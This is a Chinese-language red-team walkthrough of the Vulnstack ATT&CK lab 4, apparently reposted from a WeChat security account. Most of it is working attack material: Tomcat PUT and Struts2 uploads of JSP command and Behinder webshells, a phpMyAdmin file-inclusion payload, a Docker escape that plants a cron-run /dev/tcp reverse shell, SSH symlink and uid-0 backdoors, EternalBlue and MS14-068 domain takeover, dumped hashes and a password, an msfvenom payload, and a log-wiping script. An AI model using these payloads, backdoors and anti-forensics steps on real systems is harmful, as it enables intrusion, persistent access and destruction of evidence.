ATT&CK实战系列—红队实战-4

admin 2023年12月1日08:34:04评论38 views字数 7677阅读25分35秒阅读模式

0、靶场介绍

靶场下载、配置参考:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

靶场配置后需要自行开启 vulhub 里面的三个漏洞。

ATT&CK实战系列—红队实战-4

ATT&CK实战系列—红队实战-4

1、信息收集

map -Pn -A -T4 192.168.157.128

ATT&CK实战系列—红队实战-4

2、漏洞分析

该阶段为漏洞挖掘、漏洞扫描、漏洞验证

2.1 struts2 漏洞

struts2 漏洞检查工具:

https://github.com/HatBoy/Struts2-Scan

https://github.com/shack2/Struts2VulsTools

https://github.com/x51/STS2G

ATT&CK实战系列—红队实战-4

Vulmap 是一款 web 漏洞扫描和验证工具

https://github.com/zhzyker/vulmap

ATT&CK实战系列—红队实战-4

2.2 tomcat 漏洞

Vulmap 是一款 web 漏洞扫描和验证工具

https://github.com/zhzyker/vulmap

ATT&CK实战系列—红队实战-4

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)PUT /1.jsp/ HTTP/1.1Host: 192.168.157.128:2002Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 666<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp  +"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

ATT&CK实战系列—红队实战-4


漏洞验证存在该漏洞,下步可以上传冰蝎马等

ATT&CK实战系列—红队实战-4

2.3 phpmyadmin 漏洞

phpmyadmin 未授权

ATT&CK实战系列—红队实战-4

  • phpmyadmin 4.8.1 远程文件包含漏洞

漏洞影响

phpMyAdmin 4.8.0和4.8.1受到影响。

漏洞利用

利用条件:需要账号密码或者config模式

利用payload:

访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可见/etc/passwd被读取

ATT&CK实战系列—红队实战-4

3、漏洞利用

3.1 struts2-45 漏洞 getshell

利用工具上传冰蝎马:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

ATT&CK实战系列—红队实战-4

ATT&CK实战系列—红队实战-4

3.2 Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)getshell

PUT /shell.jsp/ HTTP/1.1Host: 192.168.157.128:2002Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 666<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

ATT&CK实战系列—红队实战-4

ATT&CK实战系列—红队实战-4

3.3 phpmyadmin 4.8.1 远程文件包含漏洞 getshell

访问,可见/etc/passwd被读取,说明存在该漏洞。

http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

ATT&CK实战系列—红队实战-4

3.4 docker 逃逸

1、判断是否为docker 环境

1、使用下面命令,查看是否存在 dockerrnv 文件

ls -alh /.dockerenv

2、查看系统进程的cgroup信息

cat /proc/1/cgroup

ATT&CK实战系列—红队实战-4

2、挂载宿主机

当docker容器内拥有宿主机文件读写权限时,可以通过写ssh密钥、计划任务等方式达到逃逸。

查看磁盘文件: fdisk -l

新建目录以备挂载: mkdir /test

将宿主机/dev/sda1 目录挂载至容器内 /test: mount /dev/sda1 /test

即可写文件获取权限或数据

ATT&CK实战系列—红队实战-4

3、写入一个反弹 shell 脚本:

touch /test/tmp/test.sh

chmod +x /test/tmp/test.sh

ls -ll /test/tmp/test.sh

echo "#!/bin/bash" >> /test/tmp/test.sh

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.136/13122 0>&1" >> /test/tmp/test.sh

或者

sed -i '$a/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.136/13122 0>&1' /test/tmp/test.sh

cat /test/tmp/test.sh

ATT&CK实战系列—红队实战-4

4、写入任务计划

sed -i '$a*/2 * * * * root bash /tmp/test.sh ' /test/etc/crontab

cat /test/etc/crontab

ATT&CK实战系列—红队实战-4

5、攻击机监听端口获取shell,逃逸成功

nc -lvvp 13122

ATT&CK实战系列—红队实战-4

4、权限提升

在docker 逃逸过程中,使用crontab 提权到root 权限:

ATT&CK实战系列—红队实战-4

5、权限维持

  • SSH 软连接后门

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid 0即可认证成功,这样就导致了可以使用任意密码登录。

ln -sf /usr/sbin/sshd /tmp/su

/tmp/su -oPort=888

ATT&CK实战系列—红队实战-4

然后输入任意密码即可登录

ATT&CK实战系列—红队实战-4

  • 添加 uid 0 用户后门

useradd -p `openssl passwd 123456` -o -u 0 hacker

ATT&CK实战系列—红队实战-4

6、横向渗透

6.1 搭建socks 代理

使用ew 开启一个正向代理

EW正向代理:

Web服务器的设置

如果是Linux系统

./ew_for_linux64 -s ssocksd -l 2080 #监听本地的1080端口

如果是Windows系统

ew_for_Win.exe -s ssocksd -l 2080 #监听本地的1080端口

主机的设置

如果是Linux系统,配置proxychains代理链的配置文件,将代理设置成 100.100.10.12的1080端口:socks5 100.100.10.12 1080

然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19

如果是Windows系统,直接浏览器中设置代理为 web_ip 的1080端口,或者利用 Proxifier 、sockscap64 设置全局代理

ATT&CK实战系列—红队实战-4

ATT&CK实战系列—红队实战-4

  • 使用chisel 搭建一个代理

服务端:

./chisel_linux64 server -p 2080 --socks5

ATT&CK实战系列—红队实战-4

攻击端:

./chisel_linux64 client 192.168.157.128:2080 socks

ATT&CK实战系列—红队实战-4

ATT&CK实战系列—红队实战-4

6.2 内网信息收集

  • 本机信息收集

id 查看当前用户的权限和所在的管理组uname -a 查看linux版本内核信息cat /proc/version 查看内核信息cat /etc/*release 查看linux发行信息dpkg -l 查看安装的包crontab -l 是否有计划任务/sbin/ifconfig -a 查看ip地址等cat /etc/passwd 普通用户可以查看用户的信息cat /etc/shadow 账号密码信息cat /root/.mysql_history 查看mysql历史操作cat /root/.bash_history 查看用户指令历史记录find / -perm -u=s -type f 2>/dev/null 匹配高权限的文件,看是否有利用点
  • 内网主机存活

for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

ATT&CK实战系列—红队实战-4

  • 端口服务探测

proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.183.129

proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.183.130

ATT&CK实战系列—红队实战-4

ATT&CK实战系列—红队实战-4

auxiliary/scanner/smb/smb_version

ATT&CK实战系列—红队实战-4

6.3 横向渗透--域成员

使用ms17-010 拿下域成员

exploit/windows/smb/ms17_010_eternalblue

ATT&CK实战系列—红队实战-4

ATT&CK实战系列—红队实战-4

net user hacker hack@123456 /add

net user localgroup administrators hacker /add

ATT&CK实战系列—红队实战-4

开启3389

run post/windows/manage/enable_rdp

或者

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

ATT&CK实战系列—红队实战-4

6.4 横向渗透--域控

  • 切换域内用户

ATT&CK实战系列—红队实战-4

  • 域内基础信息收集

查看域名  Net config workstation Ipconfig /all查看几个域  Net view /domain查看是否是域名主机  Net time /domain查看域内主机  Net user /domain查看域控  Net group “domain controllers“ /domain查看域管理员  Net group “domain admins” /domain

ATT&CK实战系列—红队实战-4

查看域控

ATT&CK实战系列—红队实战-4

获取sid

ATT&CK实战系列—红队实战-4

demodouser S-1-5-21-979886063-1111900045-1414766810-1107

返回system权限 ,dump 账号密码和hash 值

ATT&CK实战系列—红队实战-4

ATT&CK实战系列—红队实战-4

TESTWIN7-PC$ DEMO e3ba914bdaca29c197c7191ebf521873 68a1422322c303e4c24d63f381a03b34eb434477

douser DEMO bc23b0b4d5bf5ff42bc61fb62e13886e c48096437367aad00ac2dc70552051cd84912a55

douser DEMO Dotest123

ms14-068 获取 域控

利用ms14-068生成票据:

MS14-068.exe -u [email protected] -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

ATT&CK实战系列—红队实战-4

mimikztz 注入票据:

mimikatz # Kerberos::ptc c:\[email protected]

ATT&CK实战系列—红队实战-4

获取域控权限:

dir \WIN-ENS2VR5TR3Nc$

ATT&CK实战系列—红队实战-4

生产一个正向连接payload:

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8989 -f exe-service -o /var/www/html/360.exe

ATT&CK实战系列—红队实战-4

将 payload 上传到跳板机:

ATT&CK实战系列—红队实战-4

关闭域控防火墙,将payload复制到域控:关闭防火墙:

sc \WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"

复制命令:

xcopy 360.exe \WIN-ENS2VR5TR3Nc$

ATT&CK实战系列—红队实战-4

ATT&CK实战系列—红队实战-4

创建服务成功,开启防火墙,运行 payload

sc \WIN-ENS2VR5TR3N create Startup binpath= "C:360.exe"

sc \WIN-ENS2VR5TR3N start ProFirewall

sc \WIN-ENS2VR5TR3N start Startup

ATT&CK实战系列—红队实战-4

设置监听,获取shell

ATT&CK实战系列—红队实战-4

ATT&CK实战系列—红队实战-4

获取账号密码

ATT&CK实战系列—红队实战-4

ATT&CK实战系列—红队实战-4

开启3389

run post/windows/manage/enable_rdp

或者

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

ATT&CK实战系列—红队实战-4

7、痕迹清理

7.1 Linux

清除命令历史记录histroy -r #删除当前会话历史记录history -c #删除内存中的所有命令历史rm .bash_history #删除历史文件中的内容HISTZISE=0 #通过设置历史命令条数来清除所有历史记录在隐蔽的位置执行命令使用vim打开文件执行命令:set history=0:!commandlinux日志文件/var/run/utmp 记录现在登入的用户/var/log/wtmp 记录用户所有的登入和登出/var/log/lastlog 记录每一个用户最后登入时间/var/log/btmp 记录错误的登入尝试/var/log/auth.log 需要身份确认的操作/var/log/secure 记录安全相关的日志信息/var/log/maillog 记录邮件相关的日志信息/var/log/message 记录系统启动后的信息和错误日志/var/log/cron 记录定时任务相关的日志信息/var/log/spooler 记录UUCP和news设备相关的日志信息/var/log/boot.log 记录守护进程启动和停止相关的日志消息完全删除日志文件:cat /dev/null > filename: > filename> filenameecho "" > filenameecho > filename针对性删除日志文件:删除当天日志sed -i '/当天日期/'d filename一键清除脚本:#!/usr/bin/bashecho > /var/log/syslogecho > /var/log/messagesecho > /var/log/httpd/access_logecho > /var/log/httpd/error_logecho > /var/log/xferlogecho > /var/log/secureecho > /var/log/auth.logecho > /var/log/user.logecho > /var/log/wtmpecho > /var/log/lastlogecho > /var/log/btmpecho > /var/run/utmprm ~/./bash_historyhistory -c

7.2 windows

1.查看事件日志

run event_manager -i

2.删除事件日志

run event_manager -c

3.clearv命令清除目标系统的事件日志。

ATT&CK实战系列—红队实战-4

ATT&CK实战系列—红队实战-4

ATT&CK实战系列—红队实战-4


ATT&CK实战系列—红队实战-4


原文始发于微信公众号(贝雷帽SEC):ATT&CK实战系列—红队实战-4

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月1日08:34:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ATT&CK实战系列—红队实战-4https://cn-sec.com/archives/2258028.html

发表评论

匿名网友 填写信息